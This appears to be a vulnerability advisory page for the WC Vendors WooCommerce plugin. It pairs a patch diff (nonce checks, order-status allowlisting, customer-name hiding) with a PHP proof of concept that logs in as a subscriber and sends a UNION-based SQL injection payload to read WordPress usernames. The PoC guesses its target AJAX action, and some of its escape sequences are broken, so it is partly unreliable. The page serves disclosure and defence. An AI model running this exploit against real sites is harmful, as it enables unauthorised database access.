             echo '<div class="pv_shop_description">';
@@ -301,8 +305,8 @@
             $shop_name   = get_user_meta( $vendor_id, 'pv_shop_name', true );

             // Shop description.
-            $has_html         = get_user_meta( $vendor_id, 'pv_shop_html_enabled', true );
-            $global_html      = 'yes' === get_option( 'wcvendors_display_shop_description_html', 'no' ) ? true : false;
+            $has_html         = wc_string_to_bool( get_user_meta( $vendor_id, 'pv_shop_html_enabled', true ) );
+            $global_html      = wc_string_to_bool( get_option( 'wcvendors_display_shop_description_html', 'no' ) );
             $description      = do_shortcode( get_user_meta( $vendor_id, 'pv_shop_description', true ) );
             $shop_description = ( $global_html || $has_html ) ? wpautop( wptexturize( wp_kses_post( $description ) ) ) : sanitize_text_field( $description );
             $seller_info      = ( $global_html || $has_html ) ? wpautop( get_user_meta( $vendor_id, 'pv_seller_info', true ) ) : sanitize_text_field( get_user_meta( $vendor_id, 'pv_seller_info', true ) );
@@ -595,4 +599,79 @@
             WCV_TEMPLATE_BASE . 'product/'
         );
     }
+
+    /**
+     * Whether the vendor shop sidebar feature is enabled.
+     *
+     * @since 2.6.9
+     *
+     * @return bool
+     */
+    private function is_vendor_shop_sidebar_enabled() {
+        return wc_string_to_bool( get_option( 'wcvendors_vendor_shop_sidebar_enabled', 'no' ) );
+    }
+
+    /**
+     * When the vendor shop sidebar is enabled, suppress the default theme/WooCommerce
+     * sidebar so only our dedicated widget area is shown. Handles both the WooCommerce
+     * default sidebar and the Storefront theme's own sidebar mechanism.
+     *
+     * @since 2.6.9
+     */
+    public function suppress_wc_sidebar_on_vendor_page() {
+        if ( ! WCV_Vendors::is_vendor_page() ) {
+            return;
+        }
+        if ( ! $this->is_vendor_shop_sidebar_enabled() ) {
+            return;
+        }
+        // WooCommerce default sidebar (most themes).
+        remove_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 );
+        // Storefront theme renders its sidebar via a separate action.
+        remove_action( 'storefront_sidebar', 'storefront_get_sidebar', 10 );
+    }
+
+    /**
+     * Enqueue the vendor shop stylesheet on vendor store pages.
+     *
+     * @since 2.6.9
+     */
+    public function enqueue_vendor_shop_styles() {
+        if ( ! WCV_Vendors::is_vendor_page() ) {
+            return;
+        }
+        wp_enqueue_style(
+            'wcv-store',
+            WCV_ASSETS_URL . 'css/wcv-store.css',
+            array(),
+            WCV_VERSION
+        );
+    }
+
+    /**
+     * Swap in our own vendor shop template on vendor store pages.
+     *
+     * Only active when the vendor shop sidebar option is enabled. When disabled
+     * the WooCommerce default template is used.
+     *
+     * @since 2.6.9
+     *
+     * @param string $template The resolved template path.
+     * @return string
+     */
+    public function maybe_load_vendor_shop_template( $template ) {
+        if ( ! WCV_Vendors::is_vendor_page() ) {
+            return $template;
+        }
+        if ( ! $this->is_vendor_shop_sidebar_enabled() ) {
+            return $template;
+        }
+
+        $located = locate_template( array( 'wc-vendors/front/vendor-shop.php' ) );
+        if ( $located ) {
+            return $located;
+        }
+
+        return WCV_TEMPLATE_BASE . 'front/vendor-shop.php';
+    }
 }
--- a/wc-vendors/classes/front/class-wcv-dashboard-controller.php
+++ b/wc-vendors/classes/front/class-wcv-dashboard-controller.php
@@ -508,21 +508,33 @@
             }
         );

+        $show_customer_name  = wc_string_to_bool( get_option( 'wcvendors_capability_order_customer_name', 'no' ) );
         $show_customer_email = wc_string_to_bool( get_option( 'wcvendors_capability_order_customer_email', 'no' ) );
         $show_customer_phone = wc_string_to_bool( get_option( 'wcvendors_capability_order_customer_phone', 'no' ) );

+        $billing_address_fields  = $order->get_address( 'billing' );
+        $shipping_address_fields = $order->get_address( 'shipping' );
+
+        if ( ! $show_customer_name ) {
+            foreach ( array( &$billing_address_fields, &$shipping_address_fields ) as &$address ) {
+                $address['first_name'] = '';
+                $address['last_name']  = '';
+            }
+            unset( $address );
+        }
+
         $billing_details = array(
-            'name'    => $order->get_billing_first_name() . ' ' . $order->get_billing_last_name(),
+            'name'    => $show_customer_name ? $order->get_billing_first_name() . ' ' . $order->get_billing_last_name() : '',
             'email'   => $show_customer_email ? $order->get_billing_email() : '',
             'phone'   => $show_customer_phone ? $order->get_billing_phone() : '',
-            'address' => $order->get_formatted_billing_address(),
+            'address' => WC()->countries->get_formatted_address( $billing_address_fields ),
         );

         $shipping_details = array(
-            'name'    => $order->get_shipping_first_name() . ' ' . $order->get_shipping_last_name(),
+            'name'    => $show_customer_name ? $order->get_shipping_first_name() . ' ' . $order->get_shipping_last_name() : '',
             'email'   => $show_customer_email ? $order->get_billing_email() : '',
             'phone'   => $show_customer_phone ? $order->get_shipping_phone() : '',
-            'address' => $order->get_formatted_shipping_address(),
+            'address' => WC()->countries->get_formatted_address( $shipping_address_fields ),
         );

         $order_details = array(
--- a/wc-vendors/classes/front/class-wcv-export-helper.php
+++ b/wc-vendors/classes/front/class-wcv-export-helper.php
@@ -101,12 +101,14 @@
      * @since   1.8.8 - Added HPOS Compatibility.
      * @since   2.5.2
      * @since   2.5.9 - Added shipped status.
+     * @since   2.6.9 - Added $export_format parameter.
      *
-     * @param array $all_orders All the orders to export.
+     * @param array  $all_orders    All the orders to export.
+     * @param string $export_format 'line_item' (one row per item, default) or 'order' (one row per order).
      *
      * @return array  $orders  Formatted orders.
      */
-    public function format_orders_export( $all_orders ) {
+    public function format_orders_export( $all_orders, $export_format = 'line_item' ) {

         $rows = array();

@@ -144,37 +146,39 @@
             $billing_email = $this->can_view_emails ? $parent_order->get_billing_email() : '';
             $billing_phone = $this->can_view_phone ? $parent_order->get_billing_phone() : '';

-            // One row per item — built in the same key order as get_export_headers().
-            foreach ( $vendor_order->get_items() as $item ) {
-                $product       = wc_get_product( $item->get_product_id() );
-                $need_shipping = $product && $product->needs_shipping();
+            if ( 'order' === $export_format ) {
+                // One row per order — concatenate all line items into a single row.
+                $product_parts = array();
+                $total_qty     = 0;
+                $any_shipping  = false;
+
+                foreach ( $vendor_order->get_items() as $item ) {
+                    if ( ! $any_shipping ) {
+                        $product      = wc_get_product( $item->get_product_id() );
+                        $any_shipping = $product && $product->needs_shipping();
+                    }
+                    $qty             = $item->get_quantity();
+                    $total_qty      += $qty;
+                    $product_parts[] = $qty . ' x ' . $item->get_name();
+                }

                 $new_row                 = array();
                 $new_row['order_number'] = $order_number;
-                $new_row['product']      = $item->get_name();
-                $new_row['quantity']     = $item->get_quantity();
-                if ( $this->can_view_name ) {
-                    $new_row['customer'] = $customer_details;
-                }
-                if ( $this->can_view_address ) {
-                    $new_row['address']  = $address;
-                    $new_row['address2'] = $address2;
-                    $new_row['city']     = $city;
-                    $new_row['state']    = $state;
-                    $new_row['zip']      = $zip;
-                }
-                if ( $this->can_view_emails ) {
-                    $new_row['email'] = $billing_email;
-                }
-                if ( $this->can_view_phone ) {
-                    $new_row['phone'] = $billing_phone;
+                $new_row['product']      = implode( "n", $product_parts );
+                $new_row['quantity']     = $total_qty;
+                $rows[]                  = $this->append_common_row_fields( $new_row, $customer_details, $address ?? '', $address2 ?? '', $city ?? '', $state ?? '', $zip ?? '', $billing_email, $billing_phone, $order_row, $order_status, $any_shipping, $has_shipped, $order_date );
+            } else {
+                // One row per item — built in the same key order as get_export_headers().
+                foreach ( $vendor_order->get_items() as $item ) {
+                    $product       = wc_get_product( $item->get_product_id() );
+                    $need_shipping = $product && $product->needs_shipping();
+
+                    $new_row                 = array();
+                    $new_row['order_number'] = $order_number;
+                    $new_row['product']      = $item->get_name();
+                    $new_row['quantity']     = $item->get_quantity();
+                    $rows[]                  = $this->append_common_row_fields( $new_row, $customer_details, $address ?? '', $address2 ?? '', $city ?? '', $state ?? '', $zip ?? '', $billing_email, $billing_phone, $order_row, $order_status, $need_shipping, $has_shipped, $order_date );
                 }
-                $new_row['total']      = $order_row->total;
-                $new_row['status']     = $order_status;
-                $new_row['shipped']    = $need_shipping ? $has_shipped : __( 'N/A', 'wc-vendors' );
-                $new_row['order_date'] = $order_date;
-
-                $rows[] = $new_row;
             }
         }

@@ -221,6 +225,50 @@
     } // download_csv

     /**
+     * Append common fields shared by both export formats to a row array.
+     *
+     * @param array  $row              Row being built.
+     * @param string $customer_details Formatted customer name.
+     * @param string $address          Street address line 1.
+     * @param string $address2         Street address line 2.
+     * @param string $city             City.
+     * @param string $state            State/county.
+     * @param string $zip              Postcode.
+     * @param string $billing_email    Customer billing email.
+     * @param string $billing_phone    Customer billing phone.
+     * @param object $order_row        Raw order row with totals.
+     * @param string $order_status     Human-readable order status.
+     * @param bool   $needs_shipping   Whether any product in this row needs shipping.
+     * @param string $has_shipped      Shipped status label.
+     * @param string $order_date       Formatted order date.
+     * @return array
+     * @since 2.6.9
+     */
+    private function append_common_row_fields( $row, $customer_details, $address, $address2, $city, $state, $zip, $billing_email, $billing_phone, $order_row, $order_status, $needs_shipping, $has_shipped, $order_date ) {
+        if ( $this->can_view_name ) {
+            $row['customer'] = $customer_details;
+        }
+        if ( $this->can_view_address ) {
+            $row['address']  = $address;
+            $row['address2'] = $address2;
+            $row['city']     = $city;
+            $row['state']    = $state;
+            $row['zip']      = $zip;
+        }
+        if ( $this->can_view_emails ) {
+            $row['email'] = $billing_email;
+        }
+        if ( $this->can_view_phone ) {
+            $row['phone'] = $billing_phone;
+        }
+        $row['total']      = $order_row->total;
+        $row['status']     = $order_status;
+        $row['shipped']    = $needs_shipping ? $has_shipped : __( 'N/A', 'wc-vendors' );
+        $row['order_date'] = $order_date;
+        return $row;
+    }
+
+    /**
      * Headers for the orders export CSV
      *
      * @version 2.5.9
--- a/wc-vendors/classes/front/class-wcv-form-helper.php
+++ b/wc-vendors/classes/front/class-wcv-form-helper.php
@@ -1475,6 +1475,7 @@
         $args['after_text']  = isset( $args['after_text'] ) ? $args['after_text'] : '';
         $args['type']        = isset( $args['type'] ) ? $args['type'] : 'submit';
         $args['button_text'] = isset( $args['button_text'] ) ? $args['button_text'] : '';
+        $args['name']        = array_key_exists( 'name', $args ) ? $args['name'] : $args['id'];

         do_action( 'wcv_form_button_before_' . $args['id'], $args );

@@ -1483,7 +1484,8 @@
             echo $args['wrapper_start']; //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
         }

-        echo '<button type="' . esc_attr( $args['type'] ) . '" class="' . esc_attr( $args['class'] ) . '" name="' . esc_attr( $args['id'] ) . '" id="' . esc_attr( $args['id'] ) . '">';
+        $name_attr = ! empty( $args['name'] ) ? ' name="' . esc_attr( $args['name'] ) . '"' : '';
+        echo '<button type="' . esc_attr( $args['type'] ) . '" class="' . esc_attr( $args['class'] ) . '"' . $name_attr . ' id="' . esc_attr( $args['id'] ) . '">';

         if ( ! empty( $args['before_text'] ) ) {
             echo $args['before_text']; //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
@@ -1497,8 +1499,8 @@

         echo '</button>';

-        if ( 'submit' === $args['type'] ) {
-            echo '<input type="hidden" value="' . esc_attr( $args['value'] ) . '" name="' . esc_attr( $args['id'] ) . '">';
+        if ( 'submit' === $args['type'] && ! empty( $args['name'] ) ) {
+            echo '<input type="hidden" value="' . esc_attr( $args['value'] ) . '" name="' . esc_attr( $args['name'] ) . '">';
         }

         // container wrapper end if defined.
--- a/wc-vendors/classes/front/class-wcv-order-controller.php
+++ b/wc-vendors/classes/front/class-wcv-order-controller.php
@@ -468,9 +468,11 @@
         }

         if ( isset( $_GET['wcv_export_orders'] ) ) {
-
-            $vendor_id = get_current_user_id();
-            $this->export_csv();
+            if ( ! isset( $_GET['wcv_export_nonce'] ) || ! wp_verify_nonce( sanitize_key( wp_unslash( $_GET['wcv_export_nonce'] ) ), 'wcv-export-orders' ) ) {
+                return false;
+            }
+            $export_format = isset( $_GET['wcv_export_format'] ) && 'order' === sanitize_key( wp_unslash( $_GET['wcv_export_format'] ) ) ? 'order' : 'line_item';
+            $this->export_csv( $export_format );
         }

         if ( isset( $_POST['wcv_order_id'] ) && isset( $_POST['wcv_add_note'] ) ) {
@@ -547,12 +549,22 @@
             // Order status.
             if ( isset( $_POST['_wcv_order_status_input'] ) && ! empty( $_POST['_wcv_order_status_input'] ) && '' !== $update_button ) {
                 $order_status_input = wp_unslash( $_POST['_wcv_order_status_input'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-                if ( is_array( $order_status_input ) ) {
-                    $sanitized_statuses = array_map( 'sanitize_text_field', $order_status_input );
-                    WC()->session->set( 'wcv_order_filter_status', $sanitized_statuses );
-                } else {
-                    WC()->session->set( 'wcv_order_filter_status', sanitize_text_field( $order_status_input ) );
+                $allowed_statuses   = array_keys( wcv_get_order_statuses() );
+                $submitted          = is_array( $order_status_input ) ? $order_status_input : array( $order_status_input );
+                $sanitized_statuses = array();
+                foreach ( $submitted as $raw ) {
+                    if ( ! is_string( $raw ) ) {
+                        continue;
+                    }
+                    $clean = sanitize_text_field( $raw );
+                    if ( in_array( $clean, $allowed_statuses, true ) ) {
+                        $sanitized_statuses[] = $clean;
+                    }
                 }
+                WC()->session->set(
+                    'wcv_order_filter_status',
+                    ! empty( $sanitized_statuses ) ? $sanitized_statuses : ''
+                );
             } else {
                 WC()->session->set( 'wcv_order_filter_status', '' );
             }
@@ -1477,8 +1489,11 @@
      *
      * @version 2.5.2
      * @since   2.5.2
+     * @since   2.6.9 - Added $export_format parameter.
+     *
+     * @param string $export_format 'line_item' (default) or 'order'.
      */
-    public function export_csv() {
+    public function export_csv( $export_format = 'line_item' ) {

         include_once 'class-wcv-export-helper.php';

@@ -1487,16 +1502,18 @@
             'after'  => $this->get_start_date(),
         );

-        $csv_output  = new WCV_Export_Helper();
-        $csv_headers = $csv_output->get_export_headers();
-        $orders      = WCV_Vendor_Controller::get_orders2( get_current_user_id(), $date_range, true );
-        $rows        = $csv_output->format_orders_export( $orders );
+        $csv_output           = new WCV_Export_Helper();
+        $csv_headers          = $csv_output->get_export_headers();
+        $show_refunded_orders = wcv_is_show_reversed_order();
+        $orders               = WCV_Vendor_Controller::get_orders2( get_current_user_id(), $date_range, $show_refunded_orders );
+        $rows        = $csv_output->format_orders_export( $orders, $export_format );

         // Remove the ID column as its not required.
         unset( $csv_headers['ID'] );
-        $csv_headers  = apply_filters( 'wcv_order_export_csv_headers', $csv_headers );
-        $csv_rows     = apply_filters( 'wcv_order_export_csv_rows', $rows, $orders, $date_range );
-        $csv_filename = apply_filters( 'wcv_order_export_csv_filename', 'orders-' . gmdate( 'Y-m-d' ) );
+        $csv_headers   = apply_filters( 'wcv_order_export_csv_headers', $csv_headers );
+        $csv_rows      = apply_filters( 'wcv_order_export_csv_rows', $rows, $orders, $date_range );
+        $format_suffix = 'order' === $export_format ? 'per-order' : 'per-line-item';
+        $csv_filename  = apply_filters( 'wcv_order_export_csv_filename', 'orders-' . $format_suffix . '-' . gmdate( 'Y-m-d' ) );

         $csv_output->download_csv( $csv_headers, $csv_rows, $csv_filename );
     }
@@ -1653,11 +1670,11 @@
         $order->update_meta_data( '_wcv_tracking_details', $order_tracking_details );
         $order->save();

-        $this->add_order_note( $order_id, $order_note );
-
-        // Clear any existing 'unshipped' notices before marking as shipped.
+        // Clear any existing stale notices before adding tracking result notices.
         wc_clear_notices();

+        $this->add_order_note( $order_id, $order_note );
+
         // Mark as shipped as tracking information has been added.
         self::mark_shipped( $vendor_id, $order_id );

@@ -1813,8 +1830,9 @@

         $show_shipping_address = wc_string_to_bool( get_option( 'wcvendors_capability_order_customer_shipping', 'no' ) );
         $show_shipping_name    = wc_string_to_bool( get_option( 'wcvendors_capability_order_customer_shipping_name', 'no' ) );
+        $show_customer_name    = wc_string_to_bool( get_option( 'wcvendors_capability_order_customer_name', 'no' ) );

-        if ( ! $show_shipping_name ) {
+        if ( ! $show_shipping_name || ! $show_customer_name ) {
             if ( array_key_exists( 'first_name', $address ) ) {
                 unset( $address['first_name'] );
             }
@@ -1978,7 +1996,7 @@
     /**
      * Get the order status from the order filter
      *
-     * @return string $order_statuses The comma separated list of order statuses to filter by.
+     * @return array|string Array of validated status slugs from the session, or empty string when no filter is active.
      * @version 2.5.2
      * @since   2.5.2 - Added
      */
--- a/wc-vendors/classes/front/class-wcv-product-controller.php
+++ b/wc-vendors/classes/front/class-wcv-product-controller.php
@@ -289,18 +289,10 @@
      * @version 2.5.5
      */
     public function process_search_and_filter( $args ) {
-        $request = isset( $_SERVER['REQUEST_METHOD'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_METHOD'] ) ) : '';
-        if ( 'POST' === $request ) {
-            $nonce = isset( $_POST['wcv_product_table_nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['wcv_product_table_nonce'] ) ) : '';
-            if ( ! wp_verify_nonce( $nonce, 'wcv_product_table_nonce' ) ) {
-                wp_die( 'Invalid nonce' );
-            }
-        }
-
-        $search       = isset( $_POST['wcv-search'] ) ? sanitize_text_field( wp_unslash( $_POST['wcv-search'] ) ) : '';
-        $product_tag   = isset( $_POST['_wcv_product_tag'] ) ? $_POST['_wcv_product_tag'] : ''; // phpcs:ignore
-        $product_cat   = isset( $_POST['_wcv_product_category'] ) ? $_POST['_wcv_product_category'] : ''; // phpcs:ignore
-        $product_type = isset( $_POST['_wcv_product_type'] ) ? $_POST['_wcv_product_type'] : ''; // phpcs:ignore
+        $search       = isset( $_GET['wcv-search'] ) ? sanitize_text_field( wp_unslash( $_GET['wcv-search'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+        $product_tag  = isset( $_GET['_wcv_product_tag'] ) ? array_map( 'absint', (array) $_GET['_wcv_product_tag'] ) : array(); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+        $product_cat  = isset( $_GET['_wcv_product_category'] ) ? array_map( 'absint', (array) $_GET['_wcv_product_category'] ) : array(); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+        $product_type = isset( $_GET['_wcv_product_type'] ) ? array_map( 'sanitize_key', (array) $_GET['_wcv_product_type'] ) : array(); // phpcs:ignore WordPress.Security.NonceVerification.Recommended

         $hide_product_types = get_option( 'wcvendors_capability_product_types', array() );

@@ -342,49 +334,33 @@
             }
         }

-        if ( ! empty( $product_tag ) ) {
-
-            $product_tag_array = is_array( $product_tag ) ? array_filter( $product_tag ) : array( $product_tag );
-
-            if ( ! empty( $product_tag_array ) ) {
-                $args['tax_query'][] = array(
-                    'taxonomy' => 'product_tag',
-                    'field'    => 'term_id',
-                    'terms'    => $product_tag_array,
-                    'operator' => 'IN',
-                );
-            }
-        }
-
-        if ( ! empty( $product_cat ) ) {
+        $this->maybe_add_tax_query( $args, 'product_tag', 'term_id', $product_tag );
+        $this->maybe_add_tax_query( $args, 'product_cat', 'term_id', $product_cat );
+        $this->maybe_add_tax_query( $args, 'product_type', 'slug', $product_type );

-            $product_cat

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-54838 - WC Vendors – WooCommerce Multivendor, WooCommerce Marketplace, Product Vendors <= 2.6.8 - Authenticated (Subscriber+) SQL Injection

/**
 * This PoC demonstrates SQL injection via the get_order_ids_for_product_ids() function.
 * The attacker forces the script to use a crafted order type value that injects a UNION-based SQL payload.
 * NOTE: This requires a valid subscriber-level cookie. Adjust $target_url, $username, $password as needed.
 */

$target_url = 'http://example.com'; // Change to target site URL
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$username = 'attacker@example.com'; // Change to subscriber credentials
$password = 'attackerpassword';

// Step 1: Authenticate to get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
preg_match_all('/^Set-Cookie:s*([^;]+)/im', $response, $matches);
$cookies = implode('; ', $matches[1]);
curl_close($ch);

if (empty($cookies)) {
    die("[-] Authentication failed. Check credentials.n");
}
echo "[+] Authenticated successfully.n";

// Step 2: Craft SQL injection payload
// The vulnerable parameter is 'order_types[]' passed to the AJAX action that calls get_order_ids_for_product_ids().
// We inject into the order type value to break out of the IN clause.
// The payload extracts the WordPress database user (e.g., admin).
$sql_payload = "') UNION SELECT user_login FROM wp_users -- ";

// Build the POST data array. The action must match a real AJAX handler that processes vendor orders.
// This example uses 'wcv_order_export' as a plausible action; adjust based on actual plugin hooks.
$post_data = [
    'action' => 'wcv_order_export', // Replace with actual vulnerable action name
    'order_types' => [$sql_payload],
    'order_status' => ['wc-completed'],
    'product_ids' => [1]
];

// Step 3: Send the malicious request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'Cookie: ' . $cookies
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && strlen($response) > 0) {
    echo "[+] SQL injection successful! Response:n";
    echo $response . "n";
} else {
    echo "[-] SQL injection failed or endpoint not found. HTTP code: $http_coden";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School